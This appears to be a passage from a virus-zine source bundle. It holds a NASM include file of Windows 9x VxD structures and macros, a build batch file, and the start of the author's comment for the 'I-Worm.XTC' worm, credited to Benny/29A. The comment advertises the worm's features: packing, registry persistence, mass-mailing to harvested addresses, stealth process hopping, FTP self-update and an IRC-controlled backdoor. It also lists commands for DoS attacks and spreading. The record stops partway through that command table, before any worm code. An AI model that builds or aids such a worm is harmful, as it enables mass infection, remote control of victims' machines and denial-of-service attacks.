%include "winddk.inc"

; Client Register Structure as passed to V86/PM CallBacks


struc CRS
.EDI resd 1 ; 0
.ESI resd 1 ; 4
.EBP resd 1 ; 8
.res0 resd 1 ; C
.EBX resd 1 ; 10
.EDX resd 1 ; 14
.ECX resd 1 ; 18
.EAX resd 1 ; 1C
.Error resd 1 ; 20
.EIP resd 1 ; 24
.CS resw 1 ; 28
.res1 resw 1 ;
.EFlags resd 1 ; 2C
.ESP resd 1 ; 30
.SS resw 1 ; 34
.res2 resw 1
.ES resw 1 ; 38
.res3 resw 1
.DS resw 1 ; 3C
.res4 resw 1
.FS resw 1 ; 40
.res5 resw 1
.GS resw 1 ; 44
.res6 resw 1
.Alt_EIP resd 1 ; 48
.Alt_CS resw 1 ; 4C
.res7 resw 1
.Alt_EFlags resd 1
.Alt_ESP resd 1
.Alt_SS resw 1
.res8 resw 1
.Alt_ES resw 1
.res9 resw 1
.Alt_DS resw 1
.res10 resw 1
.Alt_FS resw 1
.res11 resw 1
.Alt_GS resw 1
.res12 resw 1
endstruc

struc cb_s
CB_VM_Status resd 1
CB_High_Linear resd 1
CB_Client_Pointer resd 1
CB_VMID resd 1
CB_Signature resd 1
endstruc

VMCB_ID EQU 62634D56H


VMSTAT_EXCLUSIVE_BIT EQU 00H
VMSTAT_EXCLUSIVE EQU (1 << VMSTAT_EXCLUSIVE_BIT)
VMSTAT_BACKGROUND_BIT EQU 01H
VMSTAT_BACKGROUND EQU (1 << VMSTAT_BACKGROUND_BIT)
VMSTAT_CREATING_BIT EQU 02H
VMSTAT_CREATING EQU (1 << VMSTAT_CREATING_BIT)
VMSTAT_SUSPENDED_BIT EQU 03H
VMSTAT_SUSPENDED EQU (1 << VMSTAT_SUSPENDED_BIT)
VMSTAT_NOT_EXECUTEABLE_BIT EQU 04H
VMSTAT_NOT_EXECUTEABLE EQU (1 << VMSTAT_NOT_EXECUTEABLE_BIT)
VMSTAT_PM_EXEC_BIT EQU 05H
VMSTAT_PM_EXEC EQU (1 << VMSTAT_PM_EXEC_BIT)
VMSTAT_PM_APP_BIT EQU 06H
VMSTAT_PM_APP EQU (1 << VMSTAT_PM_APP_BIT)
VMSTAT_PM_USE32_BIT EQU 07H
VMSTAT_PM_USE32 EQU (1 << VMSTAT_PM_USE32_BIT)
VMSTAT_VXD_EXEC_BIT EQU 08H
VMSTAT_VXD_EXEC EQU (1 << VMSTAT_VXD_EXEC_BIT)
VMSTAT_HIGH_PRI_BACK_BIT EQU 09H
VMSTAT_HIGH_PRI_BACK EQU (1 << VMSTAT_HIGH_PRI_BACK_BIT)
VMSTAT_BLOCKED_BIT EQU 0AH
VMSTAT_BLOCKED EQU (1 << VMSTAT_BLOCKED_BIT)
VMSTAT_AWAKENING_BIT EQU 0BH
VMSTAT_AWAKENING EQU (1 << VMSTAT_AWAKENING_BIT)
VMSTAT_PAGEABLEV86BIT EQU 0CH
VMSTAT_PAGEABLEV86_BIT EQU VMSTAT_PAGEABLEV86BIT
VMSTAT_PAGEABLEV86 EQU (1 << VMSTAT_PAGEABLEV86BIT)
VMSTAT_V86INTSLOCKEDBIT EQU 0DH
VMSTAT_V86INTSLOCKED_BIT EQU VMSTAT_V86INTSLOCKEDBIT
VMSTAT_V86INTSLOCKED EQU (1 << VMSTAT_V86INTSLOCKEDBIT)
VMSTAT_IDLE_TIMEOUT_BIT EQU 0EH
VMSTAT_IDLE_TIMEOUT EQU (1 << VMSTAT_IDLE_TIMEOUT_BIT)
VMSTAT_IDLE_BIT EQU 0FH
VMSTAT_IDLE EQU (1 << VMSTAT_IDLE_BIT)
VMSTAT_CLOSING_BIT EQU 10H
VMSTAT_CLOSING EQU (1 << VMSTAT_CLOSING_BIT)
VMSTAT_TS_SUSPENDED_BIT EQU 11H
VMSTAT_TS_SUSPENDED EQU (1 << VMSTAT_TS_SUSPENDED_BIT)
VMSTAT_TS_MAXPRI_BIT EQU 12H
VMSTAT_TS_MAXPRI EQU (1 << VMSTAT_TS_MAXPRI_BIT)
VMSTAT_USE32_MASK EQU (VMSTAT_PM_USE32 | VMSTAT_VXD_EXEC)

struc tcb_s
TCB_Flags resd 1 ; 00
TCB_Reserved1 resd 1 ; 04
TCB_Reserved2 resd 1 ; 08
TCB_Signature resd 1 ; 0C
TCB_ClientPtr resd 1 ; 10
TCB_VMHandle resd 1 ; 14
TCB_ThreadId resw 1 ; 18
TCB_PMLockOrigSS resw 1 ; 1A
TCB_PMLockOrigESP resd 1 ; 1C
TCB_PMLockOrigEIP resd 1 ; 20
TCB_PMLockStackCount resd 1 ; 24
TCB_PMLockOrigCS resw 1 ; 28
TCB_PMPSPSelector resw 1 ; 2A
TCB_ThreadType resd 1 ; 2C
TCB_pad1 resw 1 ;
TCB_pad2 resb 1 ;
TCB_extErrLocus resb 1 ;
TCB_extErr resw 1 ;
TCB_extErrAction resb 1 ;
TCB_extErrClass resb 1 ;
TCB_extErrPtr resd 1 ;
endstruc
SCHED_OBJ_ID_THREAD EQU 42434854H
THFLAG_SUSPENDED_BIT EQU 03H
THFLAG_SUSPENDED EQU (1 << THFLAG_SUSPENDED_BIT)
THFLAG_NOT_EXECUTEABLE_BIT EQU 04H
THFLAG_NOT_EXECUTEABLE EQU (1 << THFLAG_NOT_EXECUTEABLE_BIT)
THFLAG_THREAD_CREATION_BIT EQU 08H
THFLAG_THREAD_CREATION EQU (1 << THFLAG_THREAD_CREATION_BIT)
THFLAG_THREAD_BLOCKED_BIT EQU 0AH
THFLAG_THREAD_BLOCKED EQU (1 << THFLAG_THREAD_BLOCKED_BIT)
THFLAG_RING0_THREAD_BIT EQU 1CH
THFLAG_RING0_THREAD EQU (1 << THFLAG_RING0_THREAD_BIT)
THFLAG_ASYNC_THREAD_BIT EQU 1FH
THFLAG_ASYNC_THREAD EQU (1 << THFLAG_ASYNC_THREAD_BIT)
THFLAG_CHARSET_BITS EQU 10H
THFLAG_CHARSET_MASK EQU (3 << THFLAG_CHARSET_BITS)
THFLAG_ANSI EQU (0 << THFLAG_CHARSET_BITS)
THFLAG_OEM EQU (1 << THFLAG_CHARSET_BITS)
THFLAG_UNICODE EQU (2 << THFLAG_CHARSET_BITS)
THFLAG_RESERVED EQU (3 << THFLAG_CHARSET_BITS)
THFLAG_EXTENDED_HANDLES_BIT EQU 12H
THFLAG_EXTENDED_HANDLES EQU (1 << THFLAG_EXTENDED_HANDLES_BIT)
THFLAG_OPEN_AS_IMMOVABLE_FILE_BIT EQU 13H
THFLAG_OPEN_AS_IMMOVABLE_FILE EQU (1 << THFLAG_OPEN_AS_IMMOVABLE_FILE_BIT)

struc pmcb_s
PMCB_Flags resd 1
PMCB_Parent resd 1
endstruc

struc Exception_Handler_Struc
EHS_Reserved resd 1
EHS_Start_EIP resd 1
EHS_End_EIP resd 1
EHS_Handler resd 1
endstruc

struc VMFaultInfo
VMFI_EIP resd 1
VMFI_CS resw 1
VMFI_Ints resw 1
endstruc

RESERVED_LOW_BOOST EQU 00000001H


CUR_RUN_VM_BOOST EQU 00000004H
LOW_PRI_DEVICE_BOOST EQU 00000010H
HIGH_PRI_DEVICE_BOOST EQU 00001000H
CRITICAL_SECTION_BOOST EQU 00100000H
TIME_CRITICAL_BOOST EQU 00400000H
RESERVED_HIGH_BOOST EQU 40000000H
PEF_WAIT_FOR_STI_BIT EQU 0
PEF_WAIT_FOR_STI EQU (1 << PEF_WAIT_FOR_STI_BIT)
PEF_WAIT_NOT_CRIT_BIT EQU 1
PEF_WAIT_NOT_CRIT EQU (1 << PEF_WAIT_NOT_CRIT_BIT)
PEF_DONT_UNBOOST_BIT EQU 2
PEF_DONT_UNBOOST EQU (1 << PEF_DONT_UNBOOST_BIT)
PEF_ALWAYS_SCHED_BIT EQU 3
PEF_ALWAYS_SCHED EQU (1 << PEF_ALWAYS_SCHED_BIT)
PEF_TIME_OUT_BIT EQU 4
PEF_TIME_OUT EQU (1 << PEF_TIME_OUT_BIT)
PEF_WAIT_NOT_HW_INT_BIT EQU 5
PEF_WAIT_NOT_HW_INT EQU (1 << PEF_WAIT_NOT_HW_INT_BIT)
PEF_WAIT_NOT_NESTED_EXEC_BIT EQU 6
PEF_WAIT_NOT_NESTED_EXEC EQU (1 << PEF_WAIT_NOT_NESTED_EXEC_BIT)
PEF_WAIT_IN_PM_BIT EQU 7
PEF_WAIT_IN_PM EQU (1 << PEF_WAIT_IN_PM_BIT)
PEF_THREAD_EVENT_BIT EQU 8
PEF_THREAD_EVENT EQU (1 << PEF_THREAD_EVENT_BIT)
PEF_WAIT_FOR_THREAD_STI_BIT EQU 9
PEF_WAIT_FOR_THREAD_STI EQU (1 << PEF_WAIT_FOR_THREAD_STI_BIT)
PEF_RING0_EVENT_BIT EQU 10
PEF_RING0_EVENT EQU (1 << PEF_RING0_EVENT_BIT)
PEF_WAIT_CRIT_BIT EQU 11
PEF_WAIT_CRIT EQU (1 << PEF_WAIT_CRIT_BIT)
PEF_WAIT_CRIT_VM_BIT EQU 12
PEF_WAIT_CRIT_VM EQU (1 << PEF_WAIT_CRIT_VM_BIT)
PEF_PROCESS_LAST_BIT EQU 13
PEF_PROCESS_LAST EQU (1 << PEF_PROCESS_LAST_BIT)
PEF_WAIT_PREEMPTABLE_BIT EQU 14
PEF_WAIT_PREEMPTABLE EQU (1 << PEF_WAIT_PREEMPTABLE_BIT)
PEF_WAIT_FOR_PASSIVE_BIT EQU 15
PEF_WAIT_FOR_PASSIVE EQU (1 << PEF_WAIT_FOR_PASSIVE_BIT)
PEF_WAIT_FOR_APPY_BIT EQU 16
PEF_WAIT_FOR_APPY EQU (1 << PEF_WAIT_FOR_APPY_BIT)
PEF_WAIT_FOR_WORKER_BIT EQU 17
PEF_WAIT_FOR_WORKER EQU (1 << PEF_WAIT_FOR_WORKER_BIT)
PEF_WAIT_NOT_TIME_CRIT_BIT EQU PEF_WAIT_NOT_HW_INT_BIT
PEF_WAIT_NOT_TIME_CRIT EQU PEF_WAIT_NOT_HW_INT
PEF_WAIT_NOT_PM_LOCKED_STACK_BIT EQU PEF_WAIT_NOT_NESTED_EXEC_BIT
PEF_WAIT_NOT_PM_LOCKED_STACK EQU PEF_WAIT_NOT_NESTED_EXEC
PEF_WAIT_FOR_CONFIGMG_CALLABLE EQU PEF_WAIT_FOR_WORKER
PEF_WAIT_FOR_CONFIGMG_QUICK EQU PEF_WAIT_FOR_APPY
BLOCK_SVC_INTS_BIT EQU 0
BLOCK_SVC_INTS EQU (1 << BLOCK_SVC_INTS_BIT)
BLOCK_SVC_IF_INTS_LOCKED_BIT EQU 1
BLOCK_SVC_IF_INTS_LOCKED EQU (1 << BLOCK_SVC_IF_INTS_LOCKED_BIT)
BLOCK_ENABLE_INTS_BIT EQU 2
BLOCK_ENABLE_INTS EQU (1 << BLOCK_ENABLE_INTS_BIT)
BLOCK_POLL_BIT EQU 3
BLOCK_POLL EQU (1 << BLOCK_POLL_BIT)
BLOCK_THREAD_IDLE_BIT EQU 4
BLOCK_THREAD_IDLE EQU (1 << BLOCK_THREAD_IDLE_BIT)
BLOCK_FORCE_SVC_INTS_BIT EQU 5
BLOCK_FORCE_SVC_INTS EQU (1 << BLOCK_FORCE_SVC_INTS_BIT)

PAGEZEROINIT EQU 00000001H


PAGEUSEALIGN EQU 00000002H
PAGECONTIG EQU 00000004H
PAGEFIXED EQU 00000008H
PAGEDEBUGNULFAULT EQU 00000010H
PAGEZEROREINIT EQU 00000020H
PAGENOCOPY EQU 00000040H
PAGELOCKED EQU 00000080H
PAGELOCKEDIFDP EQU 00000100H
PAGESETV86PAGEABLE EQU 00000200H
PAGECLEARV86PAGEABLE EQU 00000400H
PAGESETV86INTSLOCKED EQU 00000800H
PAGECLEARV86INTSLOCKED EQU 00001000H
PAGEMARKPAGEOUT EQU 00002000H
PAGEPDPSETBASE EQU 00004000H
PAGEPDPCLEARBASE EQU 00008000H
PAGEDISCARD EQU 00010000H
PAGEPDPQUERYDIRTY EQU 00020000H
PAGEMAPFREEPHYSREG EQU 00040000H
PAGEPHYSONLY EQU 04000000H
PAGENOMOVE EQU 10000000H
PAGEMAPGLOBAL EQU 40000000H
PAGEMARKDIRTY EQU 80000000H

P_SIZE EQU 1000H


P_PRESBIT EQU 0
P_PRES EQU (1 << P_PRESBIT)
P_WRITEBIT EQU 1
P_WRITE EQU (1 << P_WRITEBIT)
P_USERBIT EQU 2
P_USER EQU (1 << P_USERBIT)
P_ACCBIT EQU 5
P_ACC EQU (1 << P_ACCBIT)
P_DIRTYBIT EQU 6
P_DIRTY EQU (1 << P_DIRTYBIT)
P_AVAIL EQU (P_PRES+P_WRITE+P_USER)
PG_VM EQU 0
PG_SYS EQU 1
PG_RESERVED1 EQU 2
PG_PRIVATE EQU 3
PG_RESERVED2 EQU 4
PG_RELOCK EQU 5
PG_INSTANCE EQU 6
PG_HOOKED EQU 7
PG_IGNORE EQU 0FFFFFFFFH
D_PRES EQU 080H
D_NOTPRES EQU 0
D_DPL0 EQU 0
D_DPL1 EQU 020H
D_DPL2 EQU 040H
D_DPL3 EQU 060H
D_SEG EQU 010H
D_CTRL EQU 0
D_GRAN_BYTE EQU 000H
D_GRAN_PAGE EQU 080H
D_DEF16 EQU 000H
D_DEF32 EQU 040H
D_CODE EQU 08H
D_DATA EQU 0
D_X EQU 0
D_RX EQU 02H
D_C EQU 04H
D_R EQU 0
D_W EQU 02H
D_ED EQU 04H
D_ACCESSED EQU 1
RW_DATA_TYPE EQU (D_PRES+D_SEG+D_DATA+D_W)
R_DATA_TYPE EQU (D_PRES+D_SEG+D_DATA+D_R)
CODE_TYPE EQU (D_PRES+D_SEG+D_CODE+D_RX)
D_PAGE32 EQU (D_GRAN_PAGE+D_DEF32)
SELECTOR_MASK EQU 0FFF8H
SEL_LOW_MASK EQU 0F8H
TABLE_MASK EQU 04H
RPL_MASK EQU 03H
RPL_CLR EQU (~RPL_MASK)
IVT_ROM_DATA_SIZE EQU 500H

LMEM_STRING EQU 00010000H


LMEM_OEM2ANSI EQU 00020000H
QAAFL_APPYAVAIL EQU 00000001H
QAAFL_APPYNOW EQU 00000002H
CAAFL_RING0 EQU 00000001H
CAAFL_TIMEOUT EQU 00000002H

PAGEOUT_PRIVATE EQU 00000001H


PAGEOUT_SHARED EQU 00000002H
PAGEOUT_SYSTEM EQU 00000004H
PAGEOUT_REGION EQU 00000008H
PAGEOUT_ALL EQU (PAGEOUT_PRIVATE | PAGEOUT_SHARED | PAGEOUT_SYSTEM)

PG_UNCACHED EQU 00000001H


PG_WRITECOMBINED EQU 00000002H
FLUSHCACHES_NORMAL EQU 00000000H
FLUSHCACHES_GET_CACHE_LINE_PTR EQU 00000001H
FLUSHCACHES_GET_CACHE_SIZE_PTR EQU 00000002H
FLUSHCACHES_TAKE_OVER EQU 00000003H
FLUSHCACHES_FORCE_PAGES_OUT EQU 00000004H
FLUSHCACHES_LOCK_LOCKABLE EQU 00000005H
FLUSHCACHES_UNLOCK_LOCKABLE EQU 00000006H

HEAPZEROINIT EQU 00000001H


HEAPZEROREINIT EQU 00000002H
HEAPNOCOPY EQU 00000004H
HEAPALIGN_SHIFT EQU 16
HEAPALIGN_MASK EQU 000F0000H
HEAPALIGN_4 EQU 00000000H
HEAPALIGN_8 EQU 00000000H
HEAPALIGN_16 EQU 00000000H
HEAPALIGN_32 EQU 00010000H
HEAPALIGN_64 EQU 00020000H
HEAPALIGN_128 EQU 00030000H
HEAPALIGN_256 EQU 00040000H
HEAPALIGN_512 EQU 00050000H
HEAPALIGN_1K EQU 00060000H
HEAPALIGN_2K EQU 00070000H
HEAPALIGN_4K EQU 00080000H
HEAPALIGN_8K EQU 00090000H
HEAPALIGN_16K EQU 000A0000H
HEAPALIGN_32K EQU 000B0000H
HEAPALIGN_64K EQU 000C0000H
HEAPALIGN_128K EQU 000D0000H
HEAPTYPESHIFT EQU 8
HEAPTYPEMASK EQU 00000700H
HEAPLOCKEDHIGH EQU 00000000H
HEAPLOCKEDIFDP EQU 00000100H
HEAPSWAP EQU 00000200H
HEAPINIT EQU 00000400H
HEAPCLEAN EQU 00000800H
HEAPCONTIG EQU 00001000H
HEAPFORGET EQU 00002000H
HEAPLOCKEDLOW EQU 00000300H
HEAPSYSVM EQU 00000500H
HEAPPREEMPT EQU 00000600H

LF_ASYNC_BIT EQU 0
LF_ASYNC EQU (1 << LF_ASYNC_BIT)
LF_USE_HEAP_BIT EQU 1
LF_USE_HEAP EQU (1 << LF_USE_HEAP_BIT)
LF_ALLOC_ERROR_BIT EQU 2
LF_ALLOC_ERROR EQU (1 << LF_ALLOC_ERROR_BIT)
LF_SWAP EQU (LF_USE_HEAP+(1 << 3))

ASSERT_RANGE_NULL_BAD EQU 00000000H


ASSERT_RANGE_NULL_OK EQU 00000001H
ASSERT_RANGE_IS_ASCIIZ EQU 00000002H
ASSERT_RANGE_IS_NOT_ASCIIZ EQU 00000000H
ASSERT_RANGE_NO_DEBUG EQU 80000000H
ASSERT_RANGE_BITS EQU 80000003H
VXDLDR_INIT_DEVICE EQU 000000001H

VXDLDR_ERR_OUT_OF_MEMORY EQU 1
VXDLDR_ERR_IN_DOS EQU 2
VXDLDR_ERR_FILE_OPEN_ERROR EQU 3
VXDLDR_ERR_FILE_READ EQU 4
VXDLDR_ERR_DUPLICATE_DEVICE EQU 5
VXDLDR_ERR_BAD_DEVICE_FILE EQU 6
VXDLDR_ERR_DEVICE_REFUSED EQU 7
VXDLDR_ERR_NO_SUCH_DEVICE EQU 8
VXDLDR_ERR_DEVICE_UNLOADABLE EQU 9
VXDLDR_ERR_ALLOC_V86_AREA EQU 10
VXDLDR_ERR_BAD_API_FUNCTION EQU 11
VXDLDR_ERR_MAX EQU 11

VXDLDR_NOTIFY_OBJECTUNLOAD EQU 0
VXDLDR_NOTIFY_OBJECTLOAD EQU 1

VXDLDR_APIFUNC_GETVERSION EQU 0
VXDLDR_APIFUNC_LOADDEVICE EQU 1
VXDLDR_APIFUNC_UNLOADDEVICE EQU 2

struc DIOCParams
.Internal1 resd 1
.VMHandle resd 1
.Internal2 resd 1
.dwIoControlCode resd 1
.lpvInBuffer resd 1
.cbInBuffer resd 1
.lpvOutBuffer resd 1
.cbOutBuffer resd 1
.lpcbBytesReturned resd 1
.lpoOverlapped resd 1
.hDevice resd 1
.tagProcess resd 1
endstruc

VWIN32_DIOC_GETVERSION EQU DIOC_GETVERSION


VWIN32_DIOC_DOS_IOCTL EQU 1
VWIN32_DIOC_DOS_INT25 EQU 2
VWIN32_DIOC_DOS_INT26 EQU 3
VWIN32_DIOC_DOS_INT13 EQU 4
VWIN32_DIOC_SIMCTRLC EQU 5
VWIN32_DIOC_DOS_DRIVEINFO EQU 6
VWIN32_DIOC_CLOSEHANDLE EQU DIOC_CLOSEHANDLE

struc DIOCRegs
.reg_EBX resd 1
.reg_EDX resd 1
.reg_ECX resd 1
.reg_EAX resd 1
.reg_EDI resd 1
.reg_ESI resd 1
.reg_Flags resd 1
endstruc

%ifndef FILE_FLAG_OVERLAPPED
struc _OVERLAPPED
.O_Internal resd 1
.O_InternalHigh resd 1
.O_Offset resd 1
.O_OffsetHigh resd 1
.O_hEvent resd 1
endstruc
%endif

R0_OPENCREATFILE equ 0D500h ; Open/Create a file


R0_OPENCREAT_IN_CONTEXT equ 0D501h ; Open/Create file in current context
R0_READFILE equ 0D600h ; Read a file, no context
R0_WRITEFILE equ 0D601h ; Write to a file, no context
R0_READFILE_IN_CONTEXT equ 0D602h ; Read a file, in thread context
R0_WRITEFILE_IN_CONTEXT equ 0D603h ; Write to a file, in thread context
R0_CLOSEFILE equ 0D700h ; Close a file
R0_GETFILESIZE equ 0D800h ; Get size of a file
R0_FINDFIRSTFILE equ 04E00h ; Do a LFN FindFirst operation
R0_FINDNEXTFILE equ 04F00h ; Do a LFN FindNext operation
R0_FINDCLOSEFILE equ 0DC00h ; Do a LFN FindClose operation
R0_FILEATTRIBUTES equ 04300h ; Get/Set Attributes of a file
R0_RENAMEFILE equ 05600h ; Rename a file
R0_DELETEFILE equ 04100h ; Delete a file
R0_LOCKFILE equ 05C00h ; Lock/Unlock a region in a file
R0_GETDISKFREESPACE equ 03600h ; Get disk free space
R0_READABSOLUTEDISK equ 0DD00h ; Absolute disk read
R0_WRITEABSOLUTEDISK equ 0DE00h ; Absolute disk write

%macro GetDeviceServiceOrdinal 2
mov %1, @@%2
%endmacro

%macro VxDCall 1-*


%rep %0 - 1
%rotate -1
push %1
%endrep
%rotate -1
db 0xCD, 0x20
dd @@%1
%if %0 > 1
lea esp, [esp + 4*(%0 - 1)]
%endif
%endmacro

%define VxDcall VxDCall

%macro VMMCall 1-2+


%if (@@%1 >> 16) <> VMM_Device_ID
%error %1 is not a VMM Service
%endif
VxDcall %1, %2
%endmacro

%define VMMcall VMMCall

%macro VxDJmp 1
db 0xCD, 0x20
dd (@@%1 | 0x80000000)
%endmacro
%define VxDjmp VxDJmp

%macro VMMJmp 1
%if (@@%1 >> 16) <> VMM_Device_ID
%error %1 is not a VMM Service
%endif
VxDJmp %1
%endmacro

%define VMMjmp VMMJmp

struc VxD_Desc_Block
DDB_Next resd 1
DDB_SDK_Version resw 1; DW DDK_VERSION
DDB_Req_Device_Number resw 1; DW UNDEFINED_DEVICE_ID
DDB_Dev_Major_Version resb 1; DB 0
DDB_Dev_Minor_Version resb 1; DB 0
DDB_Flags resw 1; DW 0
DDB_Name resb 8; DB " "
DDB_Init_Order resd 1; DD UNDEFINED_INIT_ORDER
DDB_Control_Proc resd 1; DD ?
DDB_V86_API_Proc resd 1; DD 0
DDB_PM_API_Proc resd 1; DD 0
DDB_V86_API_CSIP resd 1; DD 0
DDB_PM_API_CSIP resd 1; DD 0
DDB_Reference_Data resd 1; DD ?
DDB_Service_Table_Ptr resd 1; DD 0
DDB_Service_Table_Size resd 1; DD 0
DDB_Win32_Service_Table resd 1; DD 0
DDB_Prev resd 1; DD 'Prev'
DDB_Size resd 1; DD SIZE(VxD_Desc_Block)
DDB_Reserved1 resd 1; DD 'Rsv1'
DDB_Reserved2 resd 1; DD 'Rsv2'
DDB_Reserved3 resd 1; DD 'Rsv3'
endstruc

;
; Params 5-9 are optional, since most of the time they are generic
; params: devname, quoted devname, major, minor, devid, initorder, v86, pm, ref
; Control_Proc must be named devname_Control
;
%macro Declare_Virtual_Device 4-9 UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER, 0, 0, 0
global %1_DDB
%1_DDB:
istruc VxD_Desc_Block
at DDB_Next, dd 0
at DDB_SDK_Version, dw DDK_VERSION
at DDB_Req_Device_Number, dw %5
at DDB_Dev_Major_Version, db %3
at DDB_Dev_Minor_Version, db %4
at DDB_Flags, dw 0
%%start:
at DDB_Name, db %2
%%end:
TIMES 8-(%%end-%%start) db ' '

at DDB_Init_Order, dd %6
at DDB_Control_Proc, dd %1_Control
at DDB_V86_API_Proc, dd %7
at DDB_PM_API_Proc, dd %8
at DDB_V86_API_CSIP, dd 0
at DDB_PM_API_CSIP, dd 0
at DDB_Reference_Data, dd %9

%ifdef Create_Service_Table_%1
at DDB_Service_Table_Ptr, dd %1_Service_Table
at DDB_Service_Table_Size, dd Num_%1_Services
%else
at DDB_Service_Table_Ptr, dd 0
at DDB_Service_Table_Size, dd 0
%endif

at DDB_Win32_Service_Table, dd 0
at DDB_Prev, db 'verP'
at DDB_Size, dd VxD_Desc_Block_size
at DDB_Reserved1, db '1vsR'
at DDB_Reserved2, db '2vsR'
at DDB_Reserved3, db '3vsR'
iend
%endmacro

%macro Trace_Out 1
[segment _LDATA]
%%msg: db %1, 13, 10, 0
__SECT__
push dword %%msg
VMMCall _Trace_Out_Service
%endmacro

%macro Trace_Outcc 2
j%-1 %%cont
Trace_Out %2
%%cont:
%endmacro

%macro Trace_OutE 1
Trace_Outcc e, %1
%endmacro
%define Trace_OutZ Trace_OutE

%macro Trace_OutNE 1
Trace_Outcc ne, %1
%endmacro
%define Trace_OutNZ Trace_OutNE

%macro Trace_OutC 1
Trace_Outcc c, %1
%endmacro

%macro Trace_OutNC 1
Trace_Outcc nc, %1
%endmacro

%endif
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[VXDN.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ
@echo off
if exist v.exe del v.exe
if exist v.obj del v.obj
nasmw -f win32 v.asm
gorc /r vres.rc
alink -entry start -oPE v.obj vres.res kernel32.lib user32.lib gdi32.lib
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ
COMMENT#

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Project XTC - I-Worm.XTC ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ by Benny/29A ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Have you ever thought about internet worm you could have absolute control
above? The worm you could control,plan missions (DOS attax, targets to infect),
which the worm will make? The worm, which will give you access to infected
computer,such like Back Orifice? The worm you could easilly control by IRC and
update by FTP? Very fast spreading worm with stealth, anti-* features and very
small size? Have you ever thought about this? Yeah? You were not alone. I also
like such idea, that's why I coded this worm. It can do exactly the same I
wrote above. For additional informations, read my article "Worms in 21st
century".

This worm was supposed to be my first one. But while I was coding this very
complex worm, I got very bored from that, so meanwhile I coded I-Worm.Energy,
Before I finished it, I got many new ideaz how should my next worm work. I
decided to not implement complex spreading via exploits (that was the main idea
of this worm), finish it ASAP and start to work on the other one.

I finished this one. It was hard work and the result is pretty good looking
worm :-) It is very useful to place this worm to hacked computerz, see below
why. I don't want to write long description, I will just briefly list some of
its main featurez. Have a fun!

1) Worm is compressed/encrypted/armoured by "tElock" utility. Worm's total


size is 20kB.
2) Worm file containz AVX standard icon.
3) Worm is able to work as a service process under all Win32 platformz.
4) On Win9x systems worm modifies registry so it will be executed on every
start of system.
5) Worm is able to spread via MAPI32 interface. Worm can get e-mail
addresses from html filez from "Temporary Internet Files" directory
(there are usually thousandz html filez containing email addresses).
6) Worm can simulate "fork" (in inactivity it can change to another
process(change PID), so there will be no constantly running process in
the system).
7) Update itself (from FTP) via IRC. See below.
8) Worm can connect to Undernet IRC server, create/join secret and passworded
"xtcdan" channel (under random name), stay there and wait for commandz.
Some superuser can join the channel and administrate infected computer.
Here is the list of all commandz. If the command is successfully
performed, worm will reply "**", otherwise ".".
NOTE: Worm always replies to private window. Commandz written in private
window will be executed by the addressed worm, commandz written in
public window will be executed by all wormz.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³ ³
³ Command ³ Description ³
³ ³ ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ password ³ logs on to worm ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ nopassword ³ logs off from worm ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ dos ³ starts with DOS attack ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ stopdos ³ stops the DOS attack ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ spreadon ³ starts with mail spreading ³
